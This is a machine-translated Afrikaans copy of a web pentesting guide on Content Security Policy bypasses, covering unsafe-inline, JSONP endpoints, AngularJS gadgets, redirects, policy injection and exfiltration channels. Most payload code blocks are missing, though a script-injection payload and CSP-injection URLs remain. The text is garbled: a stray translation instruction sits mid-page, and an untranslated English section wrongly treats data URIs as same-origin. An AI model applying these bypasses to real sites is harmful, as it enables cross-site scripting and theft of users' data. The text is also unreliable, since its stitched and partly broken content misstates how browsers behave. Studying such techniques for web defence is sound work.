Content Security Policy (CSP) Bypass
Sluit aan by HackenProof Discord bediener om te kommunikeer met ervare hackers en foutbeloningsjagters!
Hakinsigte Raak betrokke by inhoud wat die opwinding en uitdagings van hak bevat
Haknuus in Werklikheid Bly op hoogte van die snelveranderende hakwêreld deur werklikheidsnuus en insigte
Nuutste Aankondigings Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings
Sluit by ons aan op Discord en begin vandag saamwerk met top hackers!
Wat is CSP
Inhoudsbeveiligingsbeleid (CSP) word erken as 'n webblaaitegnologie, hoofsaaklik gemik op beskerming teen aanvalle soos kruissite-skripsing (XSS). Dit werk deur paaie en bronne te definieer en te beskryf waarvandaan hulpbronne veilig deur die blaaier gelaai kan word. Hierdie hulpbronne behels 'n verskeidenheid elemente soos beelde, rame, en JavaScript. Byvoorbeeld, 'n beleid mag die laai en uitvoering van hulpbronne van dieselfde domein (self) toelaat, insluitend inline hulpbronne en die uitvoering van string-kode deur funksies soos eval
, setTimeout
, of setInterval
.
Implementering van CSP word gedoen deur responskoppe of deur die insluiting van meta-elemente in die HTML-bladsy. Volgens hierdie beleid dwing blaaier aktief hierdie bepalings af en blokkeer onmiddellik enige opgespoorde oortredings.
Geïmplementeer via responskop:
Geïmplementeer via meta-tag:
Opwarmers
CSP kan afgedwing of gemonitor word met hierdie opwarmers:
Content-Security-Policy
: Dwings die CSP af; die blaaier blokkeer enige oortredings.Content-Security-Policy-Report-Only
: Word gebruik vir monitering; rapporteer oortredings sonder om hulle te blokkeer. Ideaal vir toetsing in voor-produksie-omgewings.
Definiëring van Hulpbronne
CSP beperk die oorspronge vir die laai van beide aktiewe en passiewe inhoud, wat aspekte soos inline JavaScript-uitvoering en die gebruik van eval()
beheer. 'n Voorbeeldbeleid is:
Riglyne
script-src: Laat spesifieke bronne toe vir JavaScript, insluitend URL's, inline skripte, en skripte wat geaktiveer word deur gebeurtenishanteerders of XSLT-stylblaaie.
default-src: Stel 'n verstekbeleid in vir die ophaal van hulpbronne wanneer spesifieke ophaalriglyne afwesig is.
child-src: Spesifiseer toegelate bronne vir webwerkers en ingeslote raaminhoud.
connect-src: Beperk URL's wat gelaai kan word deur koppelvlakke soos fetch, WebSocket, XMLHttpRequest.
frame-src: Beperk URL's vir rame.
frame-ancestors: Spesifiseer watter bronne die huidige bladsy kan insluit, van toepassing op elemente soos
<frame>
,<iframe>
,<object>
,<embed>
, en<applet>
.img-src: Definieer toegelate bronne vir afbeeldings.
font-src: Spesifiseer geldige bronne vir lettertipes wat gelaai word met
@font-face
.manifest-src: Definieer toegelate bronne van aansoek-manifeslêers.
media-src: Definieer toegelate bronne vir die laai van media-voorwerpe.
object-src: Definieer toegelate bronne vir
<object>
,<embed>
, en<applet>
elemente.base-uri: Spesifiseer toegelate URL's vir die laai met behulp van
<base>
elemente.form-action: Lys geldige eindpunte vir vormindienings.
plugin-types: Beperk mime-tipes wat 'n bladsy mag aanroep.
upgrade-insecure-requests: Gee browsers opdrag om HTTP-URL's na HTTPS te herskryf.
sandbox: Pas beperkings toe soortgelyk aan die sandbokskenmerk van 'n
<iframe>
.report-to: Spesifiseer 'n groep aan wie 'n verslag gestuur sal word as die beleid oortree word.
worker-src: Spesifiseer geldige bronne vir Worker, SharedWorker, of ServiceWorker-skripte.
prefetch-src: Spesifiseer geldige bronne vir hulpbronne wat gelaai of voorafgelaai sal word.
navigate-to: Beperk die URL's waarna 'n dokument kan navigeer op enige manier (a, vorm, window.location, window.open, ens.)
Bronne
*
: Laat alle URL's toe behalwe dié metdata:
,blob:
,filesystem:
skemas.'self'
: Laat laai vanaf dieselfde domein toe.'data'
: Laat hulpbronne toe om gelaai te word via die data-skema (bv., Base64-gekodeerde afbeeldings).'none'
: Blokkeer laai vanaf enige bron.'unsafe-eval'
: Laat die gebruik vaneval()
en soortgelyke metodes toe, nie aanbeveel vir veiligheidsredes nie.'unsafe-hashes'
: Stel spesifieke inline gebeurtenishanteerders in staat.'unsafe-inline'
: Laat die gebruik van inline hulpbronne soos inline<script>
of<style>
toe, nie aanbeveel vir veiligheidsredes nie.'nonce'
: 'n Witlys vir spesifieke inline skripte wat 'n kriptografiese nonce (eenmalige nommer) gebruik.As jy JS-beperkte uitvoering het, is dit moontlik om 'n gebruikte nonce binne die bladsy te kry met
doc.defaultView.top.document.querySelector("[nonce]")
en dit dan her te gebruik om 'n skadelike skrip te laai (as strict-dynamic gebruik word, kan enige toegelate bron nuwe bronne laai, dus is dit nie nodig nie), soos in:
'sha256-<hash>'
: Witlys skripte met 'n spesifieke sha256-hash.'strict-dynamic'
: Laat skripte van enige bron laai as dit deur 'n nonce of hash op die witlys geplaas is.'host'
: Spesifiseer 'n spesifieke gasheer, soosexample.com
.https:
: Beperk URL's tot dié wat HTTPS gebruik.blob:
: Laat toe dat hulpbronne van Blob-URL's gelaai word (bv., Blob-URL's wat deur JavaScript geskep is).filesystem:
: Laat toe dat hulpbronne vanaf die lêersisteem gelaai word.'report-sample'
: Sluit 'n monster van die oortredende kode in die oortredingsverslag in (nuttig vir foutopsporing).'strict-origin'
: Soortgelyk aan 'self' maar verseker dat die protokol-sekuriteitsvlak van die bronne ooreenstem met die dokument (slegs veilige bronne kan hulpbronne van veilige bronne laai).'strict-origin-when-cross-origin'
: Stuur volledige URL's wanneer dieselfde-oorsprongversoeke gemaak word, maar stuur slegs die oorsprong wanneer die versoek kruis-oorsprong is.'unsafe-allow-redirects'
: Laat toe dat hulpbronne gelaai word wat onmiddellik na 'n ander hulpbron sal omskakel. Nie aanbeveel nie omdat dit die sekuriteit verswak.
Onveilige CSP-reëls
'unsafe-inline'
Working payload: "/><script>alert(1);</script>
self + 'unsafe-inline' via Iframes
pageCSP bypass: self + 'unsafe-inline' with Iframes'unsafe-eval'
Dit werk nie, vir meer inligting kyk hierdie.
Werkende lading:
streng-dinamies
As jy op een of ander manier kan bewerkstellig dat toegelate JS-kode 'n nuwe skriptiket in die DOM met jou JS-kode skep, sal die nuwe skriptiket toegelaat word om uitgevoer te word omdat 'n toegelate skrip dit skep.
Wildcard (*)
Werkende lading:
Gebrek aan object-src en default-src
Dit lyk of dit nie meer werk nie
Werkende lading:
Lêeroplaai + 'self'
Indien jy 'n JS-lêer kan oplaai, kan jy hierdie CSP omseil:
Werkende lading:
Echter, dit is hoogs waarskynlik dat die bediener die opgelaaide lêer valideer en sal slegs toelaat dat jy 'n bepaalde tipe lêers oplaai.
Selfs al sou jy 'n JS-kode binne 'n lêer kon oplaai deur 'n aanvaarde uitbreiding deur die bediener te gebruik (soos: script.png), sal dit nie genoeg wees nie omdat sommige bedieners soos Apache-bedieners die MIME-tipe van die lêer kies op grond van die uitbreiding en webblaaier soos Chrome sal weier om Javascript-kode uit te voer binne iets wat 'n beeld behoort te wees. "Hopelik" is daar foute. Byvoorbeeld, van 'n CTF het ek geleer dat Apache nie weet van die .wave uitbreiding nie, daarom bedien dit dit nie met 'n MIME-tipe soos audio/* nie.
Vanaf hier, as jy 'n XSS vind en 'n lêeroplaai, en jy slaag daarin om 'n verkeerd geïnterpreteerde uitbreiding te vind, kan jy probeer om 'n lêer met daardie uitbreiding en die inhoud van die skrip op te laai. Of, as die bediener die korrekte formaat van die opgelaaide lêer nagaan, skep 'n poliglott (enkele poliglott-voorbeelde hier).
Vorm-aksie
Indien dit nie moontlik is om JS in te spuit nie, kan jy steeds probeer om byvoorbeeld geloofsbriewe te eksfiltreer deur 'n vormaksie in te spuit (en miskien wagwoordbestuurders te verwag om wagwoorde outomaties in te vul). Jy kan 'n voorbeeld in hierdie verslag vind. Let ook daarop dat default-src
nie vormaksies dek nie.
Derdeparty-eindpunte + ('unsafe-eval')
Vir sommige van die volgende lading is unsafe-eval
selfs nie nodig nie.
Laai 'n kwesbare weergawe van Angular en voer willekeurige JS uit:
Ladingstukke wat Angular + 'n biblioteek met funksies wat die window
-objek teruggee, gebruik (kyk na hierdie pos):
window
-objek teruggee, gebruik (kyk na hierdie pos):Die pos toon dat jy alle biblioteke van cdn.cloudflare.com
(of enige ander toegelate JS-biblioteek-repo) kon laai, al die bygevoegde funksies van elke biblioteek kon uitvoer, en nagaan watter funksies van watter biblioteke die window
-objek teruggee.
Angular XSS vanaf 'n klasnaam:
Misbruik van Google reCAPTCHA JS-kode
Volgens hierdie CTF-verslag kan jy https://www.google.com/recaptcha/ binne 'n CSP misbruik om willekeurige JS-kode uit te voer wat die CSP omseil:
Meer payloads van hierdie skryfstuk:
Misbruik van www.google.com vir oop omleiding
Die volgende URL rig na example.com (van hier):
Derde Party Eindpunte + JSONP
Dit is moontlik om Google Apps Script te misbruik om inligting te ontvang in 'n bladsy binne script.google.com. Soos dit gedoen word in hierdie verslag.
Afrikaans Translation
Scenarios soos hierdie waar script-src
ingestel is op self
en 'n spesifieke domein wat op die witlys is, kan omseil word deur JSONP te gebruik. JSONP-eindpunte maak onveilige terugroepmetodes moontlik wat 'n aanvaller in staat stel om XSS uit te voer, werkende lading:
JSONBee bevat gereed om JSONP eindpunte te gebruik vir CSP omseiling van verskillende webwerwe.
Dieselfde kwesbaarheid sal voorkom as die vertroude eindpunt 'n Oop Aanstuur bevat omdat as die oorspronklike eindpunt vertrou word, is aanstuurders vertrou.
Derde Party Misbruik
Soos beskryf in die volgende pos, is daar baie derde party domeine, wat dalk toegelaat word in die CSP, wat misbruik kan word om data uit te sif of JavaScript-kode uit te voer. Sommige van hierdie derde partye is:
Entiteit | Toegelate Domein | Vermoëns |
---|---|---|
www.facebook.com, *.facebook.com | Uitsif | |
Hotjar | *.hotjar.com, ask.hotjar.io | Uitsif |
Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Uitvoer |
Amazon CloudFront | *.cloudfront.net | Uitsif, Uitvoer |
Amazon AWS | *.amazonaws.com | Uitsif, Uitvoer |
Azure Webwerwe | *.azurewebsites.net, *.azurestaticapps.net | Uitsif, Uitvoer |
Salesforce Heroku | *.herokuapp.com | Uitsif, Uitvoer |
Google Firebase | *.firebaseapp.com | Uitsif, Uitvoer |
As jy enige van die toegelate domeine in die CSP van jou teiken vind, is die kanse goed dat jy die CSP kan omseil deur te registreer op die derde party-diens en óf data na daardie diens uit te sif óf kode uit te voer.
Byvoorbeeld, as jy die volgende CSP vind:
Content Security Policy (CSP) Bypass
CSP Bypass using script-src 'unsafe-inline'
script-src 'unsafe-inline'
When a website has a Content Security Policy (CSP) that allows 'unsafe-inline'
for script-src
, it means that inline JavaScript code can be executed on the website. This can be exploited by an attacker to execute arbitrary code on the website by injecting malicious scripts directly into the HTML code.
To bypass this CSP directive, an attacker can inject a <script>
tag with the desired JavaScript code directly into the HTML content of the website. This way, the injected script will be executed as if it were part of the original code, bypassing the CSP protection.
CSP Bypass using Data URI
Another way to bypass CSP is by using Data URI. Data URIs allow embedding small files directly into the HTML or CSS code. An attacker can encode the JavaScript code into a Data URI format and then inject it into the website. Since Data URIs are treated as resources loaded from the same origin, they can bypass CSP restrictions.
To implement this bypass, the attacker needs to craft a Data URI containing the JavaScript payload and then inject it into the website's HTML code. This payload will be executed within the context of the website, bypassing the CSP restrictions.
Skep 'n Facebook-ontwikkelaarsrekening hier.
Skep 'n nuwe "Facebook-aanmelding" -program en kies "Webwerf".
Gaan na "Instellings -> Basies" en kry jou "Program-ID".
Op die teikensite waarvandaan jy data wil eksfiltreer, kan jy data eksfiltreer deur direk die Facebook SDK-toestel "fbq" te gebruik deur 'n "customEvent" en die datapakket.
Gaan na jou Program "Gebeurtenisbestuurder" en kies die program wat jy geskep het (let wel dat die gebeurtenisbestuurder gevind kan word in 'n URL soortgelyk aan hierdie: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events
Kies die lêer "Toetsgebeurtenisse" om die gebeurtenisse te sien wat deur "jou" webwerf gestuur word.
Dan, aan die slagofferkant, voer jy die volgende kode uit om die Facebook-spoorpixel te inisieer om na die aanvaller se Facebook-ontwikkelaarsrekening-program-ID te wys en 'n aangepaste gebeurtenis uit te reik soos hierdie:
Omgang via RPO (Relatiewe Pad Overskrywing)
Benewens die voorafgenoemde omleiding om padbeperkings te omseil, is daar 'n ander tegniek genaamd Relatiewe Pad Overskrywing (RPO) wat op sommige bedieners gebruik kan word.
Byvoorbeeld, as CSP die pad https://example.com/scripts/react/
toelaat, kan dit so omseil word:
Die browser sal uiteindelik https://example.com/scripts/angular/angular.js
laai.
Dit werk omdat vir die browser, laai jy 'n lêer genaamd ..%2fangular%2fangular.js
wat geleë is onder https://example.com/scripts/react/
, wat voldoen aan CSP.
Dus, sal hulle dit ontsluit, effektief versoek https://example.com/scripts/react/../angular/angular.js
, wat gelykstaande is aan https://example.com/scripts/angular/angular.js
.
Deur hierdie inkonsekwentheid in URL-interpretasie tussen die browser en die bediener uit te buit, kan die padreëls omseil word.
Die oplossing is om %2f
nie as /
aan die kant van die bediener te hanteer nie, om 'n konsekwente interpretasie tussen die browser en die bediener te verseker om hierdie probleem te vermy.
Aanlyn Voorbeeld: https://jsbin.com/werevijewa/edit?html,output
Iframes JS-uitvoering
pageIframes in XSS, CSP and SOPontbrekende base-uri
Indien die base-uri riglyn ontbreek kan jy dit misbruik om 'n dangling markup injection uit te voer.
Verder, as die bladsy 'n skrip laai deur 'n relatiewe pad te gebruik (soos <script src="/js/app.js">
) deur 'n Nonce te gebruik, kan jy die base tag misbruik om dit te laat laai die skrip vanaf jou eie bediener om 'n XSS te bereik.
Indien die kwesbare bladsy met httpS gelaai word, maak gebruik van 'n httpS-url in die basis.
AngularJS gebeure
'n Spesifieke beleid bekend as Inhoudsbeveiligingsbeleid (CSP) mag JavaScript-gebeure beperk. Nietemin, AngularJS stel aangepaste gebeure as 'n alternatief voor. Binne 'n gebeurtenis bied AngularJS 'n unieke objek $event
, wat verwys na die inheemse blaaier-gebeurtenisobjek. Hierdie $event
objek kan uitgebuit word om die CSP te omseil. Merkwaardig, in Chrome, besit die $event/event
objek 'n path
eienskap, wat 'n objekreeks aanhou wat betrokke is by die gebeurtenis se uitvoerketting, met die window
objek onveranderlik aan die einde geplaas. Hierdie struktuur is noodsaaklik vir sandputontsnappingstaktieke.
Deur hierdie reeks na die orderBy
filter te rig, is dit moontlik om daaroor te itereer, waardeur die terminalelement (die window
objek) benut kan word om 'n globale funksie soos alert()
te aktiveer. Die gedemonstreerde kodesnit hieronder verduidelik hierdie proses:
Hierdie snipper lig die gebruik van die ng-focus
riglyn uit om die gebeurtenis te trigger, deur $event.path|orderBy
te gebruik om die path
array te manipuleer, en deur die window
objek te benut om die alert()
funksie uit te voer, en sodoende document.cookie
bloot te stel.
Vind ander Angular omleidings in https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
AngularJS en toegelate domein
Werkende lading:
'n CSP-beleid wat domeine vir skriplading in 'n Angular JS-toepassing op 'n witlys plaas, kan omseil word deur die aanroeping van terugroepfunksies en sekere kwesbare klasse. Verdere inligting oor hierdie tegniek is beskikbaar in 'n gedetailleerde gids op hierdie git-opgaarplek.
Ander JSONP-willekeurige uitvoerpunte kan gevind word in hier (van hulle is verwyder of reggemaak)
Omgang deur middel van Herleiing
Wat gebeur wanneer CSP kantelingskrywing aan die kant van die bediener teëkom? As die herleiing na 'n ander oorsprong lei wat nie toegelaat word nie, sal dit steeds misluk.
Tog, volgens die beskrywing in CSP spes 4.2.2.3. Paaie en Herleiings, as die herleiing na 'n ander pad lei, kan dit die oorspronklike beperkings omseil.
Hier is 'n voorbeeld:
Indien CSP ingestel is op https://www.google.com/a/b/c/d
, aangesien die pad oorweeg word, sal beide /test
en /a/test
skripte deur CSP geblokkeer word.
Nietemin, die finale http://localhost:5555/301
sal op die bedienerkant na https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//
omgelei word. Aangesien dit 'n omleiding is, word die pad nie oorweeg nie, en die skrip kan gelaai word, wat dus die padbeperking omseil.
Met hierdie omleiding, selfs al is die pad volledig gespesifiseer, sal dit steeds omseil word.
Daarom is die beste oplossing om te verseker dat die webwerf geen oop omleidingskwesbaarhede het nie en dat daar geen domeine is wat in die CSP-reëls uitgebuit kan word nie.
Omseil CSP met bengelende opmaak
Lees hoe hier.
'unsafe-inline'; img-src *; via XSS
'unsafe-inline'
beteken dat jy enige skrip binne die kode kan uitvoer (XSS kan kode uitvoer) en img-src *
beteken dat jy enige beeld van enige bron op die webblad kan gebruik.
Jy kan hierdie CSP omseil deur die data via beelde te eksfiltreer (in hierdie geval misbruik die XSS 'n CSRF waar 'n bladsy wat deur die bot toeganklik is 'n SQLi bevat, en onttrek die vlag via 'n beeld):
Vanaf: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
Jy kan ook hierdie konfigurasie misbruik om javascript-kode wat binne 'n afbeelding ingevoeg is te laai. As byvoorbeeld, die bladsy laai afbeeldings van Twitter. Jy kan 'n spesiale afbeelding skep, dit na Twitter oplaai en die "unsafe-inline" misbruik om 'n JS-kode uit te voer (soos 'n gewone XSS) wat die afbeelding sal laai, die JS daaruit sal onttrek en dit sal uitvoer: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/
Met Dienswerkers
Dienswerkers se importScripts
-funksie word nie deur CSP beperk nie:
Beleidsinspuiting
Navorsing: https://portswigger.net/research/bypassing-csp-with-policy-injection
Chrome
As 'n parameter wat deur jou gestuur word binne die verklaring van die beleid geplak word, kan jy die beleid op 'n manier verander wat dit nutteloos maak. Jy kan skrips toelaat 'unsafe-inline' met enige van hierdie omseilings:
Omdat hierdie riglyn bestaande script-src riglyne sal owerwrite. Jy kan 'n voorbeeld hier vind: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E
Rand
In Rand is dit baie eenvoudiger. As jy net hierdie kan byvoeg in die CSP: ;_
Rand sou die hele beleid laat val.
Voorbeeld: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E
img-src *; via XSS (iframe) - Tyd aanval
Let op die afwesigheid van die riglyn 'unsafe-inline'
Hierdie keer kan jy die slagoffer **'n bladsy in jou beheer laat laai via XSS met 'n <iframe
. Hierdie keer gaan jy die slagoffer die bladsy laat besoek vanwaar jy inligting wil onttrek (CSRF). Jy kan nie die inhoud van die bladsy bereik nie, maar as jy op een of ander manier die tyd kan beheer wat die bladsy neem om te laai kan jy die inligting onttrek wat jy nodig het.
Hierdie keer gaan 'n vlag onttrek word, telkens wanneer 'n karakter korrek gegok word via SQLi neem die reaksie langer tyd as gevolg van die slaapfunksie. Dan sal jy in staat wees om die vlag te onttrek:
Via Boekmerklets
Hierdie aanval sou 'n bietjie sosiale manipulasie impliseer waar die aanvaller die gebruiker oortuig om 'n skakel oor die boekmerklet van die webblaaier te sleep en neer te sit. Hierdie boekmerklet sou skadelike javascript-kode bevat wat uitgevoer sou word in die konteks van die huidige web-venster, wat CSP omseil en toelaat om sensitiewe inligting soos koekies of tokens te steel.
Vir meer inligting kyk na die oorspronklike verslag hier.
CSP omseiling deur CSP te beperk
In hierdie CTF-verslag, word CSP omseil deur binne 'n toegelate ifram 'n meer beperkende CSP in te spuit wat verhoed het dat 'n spesifieke JS-lêer gelaai word wat dan, via prototipe besoedeling of dom clobbering toegelaat het om 'n ander skrip te misbruik om 'n willekeurige skrip te laai.
Jy kan 'n CSP van 'n Iframe beperk met die csp
eienskap:
In hierdie CTF writeup, was dit moontlik deur HTML inspuiting om meer te beperk 'n CSP sodat 'n skrip wat CSTI voorkom, uitgeskakel is en gevolglik die kwesbaarheid vatbaar geword het vir uitbuiting. CSP kan strenger gemaak word deur HTML meta-tabelle te gebruik en inline-skripte kan uitgeskakel word deur die verwydering van die inskrywing wat hulle nonce toelaat en spesifieke inline-skrip aktiveer via sha:
JS uitlekking met Inhoudsbeveiligingsbeleid-Rapport-Slegs
As jy kan slaag om die bediener te laat reageer met die kop Content-Security-Policy-Report-Only
met 'n waarde wat deur jou beheer word (miskien as gevolg van 'n CRLF), kan jy dit jou bediener laat aandui en as jy die JS-inhoud wat jy wil uitlek met <script>
omwikkel en omdat dit baie waarskynlik is dat unsafe-inline
nie toegelaat word deur die CSP nie, sal dit 'n CSP-fout veroorsaak en 'n deel van die skrip (wat die sensitiewe inligting bevat) sal na die bediener gestuur word vanaf Content-Security-Policy-Report-Only
.
Vir 'n voorbeeld kyk na hierdie CTF-verslag.
Inligting wat uitlek met CSP en Iframe
'n
iframe
word geskep wat na 'n URL wys (laat ons dithttps://example.redirect.com
noem) wat toegelaat word deur CSP.Hierdie URL verwys dan na 'n geheime URL (byvoorbeeld,
https://usersecret.example2.com
) wat nie toegelaat word deur CSP nie.Deur te luister na die
securitypolicyviolation
gebeurtenis, kan mens dieblockedURI
eienskap vasvang. Hierdie eienskap onthul die domein van die geblokkeerde URI, wat die geheime domein waarheen die aanvanklike URL verwys het, uitlek.
Dit is interessant om op te merk dat webblaaier soos Chrome en Firefox verskillende gedrag het met betrekking tot iframes in verband met CSP, wat kan lei tot die potensiële uitlek van sensitiewe inligting as gevolg van ongedefinieerde gedrag.
'n Ander tegniek behels die uitbuiting van die CSP self om die geheime subdomein af te lei. Hierdie metode steun op 'n binêre soekalgoritme en die aanpassing van die CSP om spesifieke domeine in te sluit wat opsetlik geblokkeer word. Byvoorbeeld, as die geheime subdomein uit onbekende karakters bestaan, kan jy iteratief verskillende subdomeine toets deur die CSP-richtlyn te wysig om hierdie subdomeine te blokkeer of toe te laat. Hier is 'n uittreksel wat wys hoe die CSP opgestel kan word om hierdie metode te fasiliteer:
Deur te monitor watter versoekers deur die CSP geblokkeer of toegelaat word, kan mens die moontlike karakters in die geheime subdomein beperk, en uiteindelik die volledige URL blootlê.
Beide metodes maak gebruik van die subtiliteite van CSP-implementering en -gedrag in webblaaier, wat demonstreer hoe skynbaar veilige beleide onbedoeld sensitiewe inligting kan laat lek.
Truuk van hier.
Sluit aan by HackenProof Discord bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!
Hack-insigte Gaan in gesprek met inhoud wat die opwinding en uitdagings van hack bied
Nuutste Hack-nuus Bly op hoogte van die snelveranderende hackwêreld deur middel van nuus en insigte in werklikheid
Nuutste Aankondigings Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings
Sluit by ons aan op Discord en begin vandag saamwerk met top hackers!
Onveilige Tegnologieë om CSP te omseil
PHP-reaksiebufferoorlading
PHP is bekend vir die buffer van die reaksie tot 4096 grepe standaard. Daarom, as PHP 'n waarskuwing wys, deur genoeg data binne waarskuwings te voorsien, sal die reaksie gestuur word voordat die CSP-kop, wat veroorsaak dat die kop geïgnoreer word. Dan bestaan die tegniek basies daarin om die reaksiebuffer met waarskuwings te vul sodat die CSP-kop nie gestuur word nie.
Idee vanaf hierdie skryfstuk.
Herskryf Foutbladsy
Vanaf hierdie skryfstuk lyk dit asof dit moontlik was om 'n CSP-beskerming te omseil deur 'n foutbladsy (moontlik sonder CSP) te laai en sy inhoud te herskryf.
SOME + 'self' + wordpress
SOME is 'n tegniek wat 'n XSS (of hoogs beperkte XSS) misbruik in 'n eindpunt van 'n bladsy om ander eindpunte van dieselfde oorsprong te misbruik. Dit word gedoen deur die kwesbare eindpunt vanaf 'n aanvaller se bladsy te laai en dan die aanvaller se bladsy na die werklike eindpunt in dieselfde oorsprong wat jy wil misbruik, te verfris. Op hierdie manier kan die kwesbare eindpunt die opener
objek in die lading gebruik om die DOM van die werklike eindpunt wat misbruik moet word, te toegang. Vir meer inligting, kyk:
Daarbenewens het wordpress 'n JSONP eindpunt in /wp-json/wp/v2/users/1?_jsonp=data
wat die data wat in die uitvoer gestuur word, weerspieël (met die beperking van slegs letters, syfers en kolletjies).
'n Aanvaller kan daardie eindpunt misbruik om 'n SOME-aanval teen WordPress te genereer en dit binne <script s
rc=/wp-json/wp/v2/users/1?_jsonp=some_attack></script>
in te sluit. Let daarop dat hierdie script sal laai omdat dit toegelaat word deur 'self'. Daarbenewens, en omdat WordPress geïnstalleer is, kan 'n aanvaller die SOME-aanval misbruik deur die kwesbare terugroep eindpunt wat die CSP omseil om meer voorregte aan 'n gebruiker te gee, 'n nuwe invoegtoepassing te installeer...
Vir meer inligting oor hoe om hierdie aanval uit te voer, kyk https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/
CSP Exfiltration Bypasses
As daar 'n streng CSP is wat jou nie toelaat om met eksterne bedieners te interakteer nie, is daar 'n paar dinge wat jy altyd kan doen om die inligting te eksfiltreer.
Location
Jy kan eenvoudig die ligging opdateer om die geheime inligting aan die aanvaller se bediener te stuur:
Meta tag
Jy kan omskakel deur 'n meta-tag in te spuit (dit is net 'n omskakeling, dit sal nie inhoud lek nie)
DNS Voorafskatting
Om bladsye vinniger te laai, gaan webblaaier hostnames vooraf oplos na IP-adresse en hulle vir latere gebruik in die cache stoor.
Jy kan 'n webblaaier aandui om 'n hostname vooraf op te los met: <link rel="dns-prefetch" href="iets.com">
Jy kan hierdie gedrag misbruik om gevoelige inligting via DNS-versoeke uit te sif:
Ander manier:
Die volgende is inhoud uit 'n hakboek oor hak tegnieke. Die volgende inhoud is uit die lêer pentesting-web/content-security-policy-csp-bypass/README.md. Vertaal die relevante Engelse teks na Afrikaans en gee die vertaling terug met behoud van presies dieselfde markdown- en html-sintaks. Moet nie dinge soos kode, hak tegniek name, hak woord, wolk/SaaS platform name (soos Workspace, aws, gcp...), die woord 'leak', pentesting, en markdown etikette vertaal nie. Moet ook nie enige ekstra goed byvoeg buite die vertaling en markdown sintaks nie.
Om te voorkom dat dit gebeur, kan die bediener die HTTP-kop stuur:
Blykbaar werk hierdie tegniek nie in headless-browsers (bots)
WebRTC
Op verskeie bladsye kan jy lees dat WebRTC nie die connect-src
beleid nagaan van die CSP nie.
Eintlik kan jy inligting lek deur 'n DNS versoek. Kyk na hierdie kode:
'n Ander opsie:'
Kontroleer CSP-beleide aanlyn
Skep outomaties CSP
https://csper.io/docs/generating-content-security-policy
Verwysings
Sluit aan by HackenProof Discord bediener om te kommunikeer met ervare hackers en foutbeloningsjagters!
Hacking Insights Gaan in gesprek met inhoud wat die opwinding en uitdagings van hack bied
Real-Time Hack News Bly op hoogte van die snelveranderende hackwêreld deur middel van nuus en insigte in werklikheid
Nuutste Aankondigings Bly ingelig met die nuutste foutbelonings wat bekendgestel word en kritieke platformopdaterings
Sluit by ons aan op Discord en begin vandag saamwerk met top hackers!
Last updated